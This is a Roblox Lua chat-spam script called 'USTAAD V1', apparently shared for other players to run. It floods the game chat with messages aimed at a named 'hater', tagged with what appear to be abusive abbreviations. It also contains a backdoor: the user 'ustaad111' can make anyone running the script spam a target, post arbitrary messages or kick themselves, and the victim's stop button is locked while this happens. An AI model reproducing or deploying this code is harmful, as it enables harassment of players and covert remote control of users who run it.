--[[ USTAAD V1 - CUSTOM SCRIPT Modified for: ustaad111 WARNING: This script contains remote execution features. The user "ustaad111" has master control over anyone running this script. ]] local Players = game:GetService("Players") local TextChatService = game:GetService("TextChatService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local player = Players.LocalPlayer -- GUI SETUP local screenGui = Instance.new("ScreenGui") screenGui.Name = "USTAAD_V1" screenGui.ResetOnSpawn = false screenGui.Parent = player:WaitForChild("PlayerGui") local frame = Instance.new("Frame") frame.Size = UDim2.new(0, 340, 0, 180) frame.Position = UDim2.new(0.5, -170, 0.5, -90) frame.BackgroundColor3 = Color3.fromRGB(30, 30, 30) frame.BorderSizePixel = 3 frame.BorderColor3 = Color3.fromRGB(0, 255, 255) frame.Active = true frame.Draggable = true frame.Parent = screenGui local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 0, 35) title.BackgroundTransparency = 1 title.Text = "USTAAD V1" title.TextColor3 = Color3.new(1,1,1) title.Font = Enum.Font.SourceSansBold title.TextSize = 26 title.TextStrokeTransparency = 0.7 title.TextStrokeColor3 = Color3.new(0,0,0) title.Parent = frame -- RGB Title Effect task.spawn(function() while task.wait() and title.Parent do title.TextColor3 = Color3.fromHSV(tick() % 5 / 5, 1, 1) end end) local label = Instance.new("TextLabel") label.Size = UDim2.new(1, -20, 0, 25) label.Position = UDim2.new(0, 10, 0, 45) label.BackgroundTransparency = 1 label.Text = "Enter hater name:" label.TextColor3 = Color3.fromRGB(220, 220, 220) label.TextXAlignment = Enum.TextXAlignment.Left label.Font = Enum.Font.SourceSans label.TextSize = 18 label.Parent = frame local textBox = Instance.new("TextBox") textBox.Size = UDim2.new(1, -160, 0, 35) textBox.Position = UDim2.new(0, 80, 0, 75) textBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50) textBox.BorderColor3 = Color3.fromRGB(0, 255, 255) textBox.BorderSizePixel = 2 textBox.PlaceholderText = "Type name here..." textBox.Text = "" textBox.TextColor3 = Color3.new(1,1,1) textBox.Font = Enum.Font.SourceSans textBox.TextSize = 18 textBox.Parent = frame local warningLabel = Instance.new("TextLabel") warningLabel.Size = UDim2.new(1, -20, 0, 30) warningLabel.Position = UDim2.new(0, 10, 0, 115) warningLabel.BackgroundTransparency = 1 warningLabel.Text = "" warningLabel.TextColor3 = Color3.fromRGB(255, 100, 100) warningLabel.Font = Enum.Font.SourceSansBold warningLabel.TextSize = 20 warningLabel.TextXAlignment = Enum.TextXAlignment.Center warningLabel.Parent = frame local startButton = Instance.new("TextButton") startButton.Size = UDim2.new(0, 70, 0, 35) startButton.Position = UDim2.new(0, 10, 0, 150) startButton.BackgroundColor3 = Color3.fromRGB(0, 180, 0) startButton.Text = "START" startButton.TextColor3 = Color3.new(1,1,1) startButton.Font = Enum.Font.SourceSansBold startButton.TextSize = 18 startButton.Parent = frame local stopButton = Instance.new("TextButton") stopButton.Size = UDim2.new(0, 70, 0, 35) stopButton.Position = UDim2.new(1, -80, 0, 150) stopButton.BackgroundColor3 = Color3.fromRGB(200, 0, 0) stopButton.Text = "STOP" stopButton.TextColor3 = Color3.new(1,1,1) stopButton.Font = Enum.Font.SourceSansBold stopButton.TextSize = 18 stopButton.Parent = frame local close = Instance.new("TextButton") close.Size = UDim2.new(0, 25, 0, 25) close.Position = UDim2.new(1, -30, 0, 5) close.BackgroundColor3 = Color3.fromRGB(200, 0, 0) close.Text = "X" close.TextColor3 = Color3.new(1,1,1) close.Font = Enum.Font.SourceSansBold close.TextSize = 18 close.Parent = frame close.MouseButton1Click:Connect(function() screenGui:Destroy() end) -- PROTECTION & FILTERS local function isForbiddenName(name) if name == "" then return false end local cleaned = string.lower(name) cleaned = string.gsub(cleaned, "[%s%*%-%_%^%!@#%$%%&%(%)%.%,%?]", "") cleaned = string.gsub(cleaned, "0", "o") cleaned = string.gsub(cleaned, "1", "i") cleaned = string.gsub(cleaned, "3", "e") cleaned = string.gsub(cleaned, "4", "a") cleaned = string.gsub(cleaned, "5", "s") cleaned = string.gsub(cleaned, "7", "t") cleaned = string.gsub(cleaned, "@", "a") cleaned = string.gsub(cleaned, "!", "i") return string.find(cleaned, "vws") or string.find(cleaned, "ustaad") end textBox.Focused:Connect(function() warningLabel.Text = "" end) textBox.FocusLost:Connect(function() if isForbiddenName(textBox.Text) then textBox.Text = "" warningLabel.Text = "You Cant Put Your Fathers Name" end end) -- SPAM ENGINE local isSpamming = false local masterControlled = false local function getPatternWithName(name, tag) local suffix = name .. " (" .. tag .. ")" local repeats = math.floor((200 - #suffix) / 2) return string.rep("-_", math.max(0, repeats)) .. suffix end local function getCreditPattern() local suffix = "SCRIPT BY USTAAD111" local repeats = math.floor((200 - #suffix) / 2) return string.rep("-_", math.max(0, repeats)) .. suffix end local function sendChatMessage(msg) msg = string.sub(msg, 1, 200) if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then local channel = TextChatService.TextChannels:FindFirstChild("RBXGeneral") if channel then pcall(function() channel:SendAsync(msg) end) end else local events = ReplicatedStorage:FindFirstChild("DefaultChatSystemChatEvents") local remote = events and events:FindFirstChild("SayMessageRequest") if remote then pcall(function() remote:FireServer(msg, "All") end) end end end local function startSpamming(name, byMaster) if isSpamming then isSpamming = false task.wait(0.1) end if isForbiddenName(name) then return end textBox.Text = name masterControlled = byMaster isSpamming = true startButton.Text = "RUNNING" startButton.BackgroundColor3 = Color3.fromRGB(255, 180, 0) if masterControlled then stopButton.Text = "LOCKED" stopButton.BackgroundColor3 = Color3.fromRGB(100, 100, 100) end local messages = { getPatternWithName(name, "CUD"), getPatternWithName(name, "RND"), getPatternWithName(name, "PIL"), getPatternWithName(name, "ROO"), getPatternWithName(name, "DFN"), getCreditPattern() } task.spawn(function() while isSpamming do for _, msg in messages do if not isSpamming then break end sendChatMessage(msg) task.wait(1.8) end task.wait(0.5) end startButton.Text = "START" startButton.BackgroundColor3 = Color3.fromRGB(0, 180, 0) stopButton.Text = "STOP" stopButton.BackgroundColor3 = Color3.fromRGB(200, 0, 0) end) end local function stopSpamming() isSpamming = false masterControlled = false end -- REMOTE COMMANDS local AUTHORIZED = "ustaad111" local function handleChat(p, msg) if p.Name == AUTHORIZED then if msg == "!stop" then stopSpamming() elseif string.sub(msg, 1, 6) == "!spam " then local target = string.sub(msg, 7):match("^%s*(.-)%s*$") if target ~= "" and not isForbiddenName(target) then startSpamming(target, true) end elseif string.sub(msg, 1, 6) == "!kick " then local kickTarget = string.sub(msg, 7):match("^%s*(.-)%s*$") if player.Name == kickTarget or player.DisplayName == kickTarget then player:Kick("ustaad111 kicked you") end elseif string.sub(msg, 1, 5) == "!say " then local sayMsg = string.sub(msg, 6):match("^%s*(.-)%s*$") if sayMsg ~= "" then sendChatMessage(sayMsg) end end end end -- Event Connections startButton.MouseButton1Click:Connect(function() if not isSpamming then startSpamming(textBox.Text, false) end end) stopButton.MouseButton1Click:Connect(function() if not masterControlled then stopSpamming() end end) TextChatService.OnIncomingMessage:Connect(function(message) if message.TextSource then local sender = Players:GetPlayerByUserId(message.TextSource.UserId) if sender then handleChat(sender, message.Text) end end end) Players.PlayerAdded:Connect(function(p) p.Chatted:Connect(function(msg) handleChat(p, msg) end) end)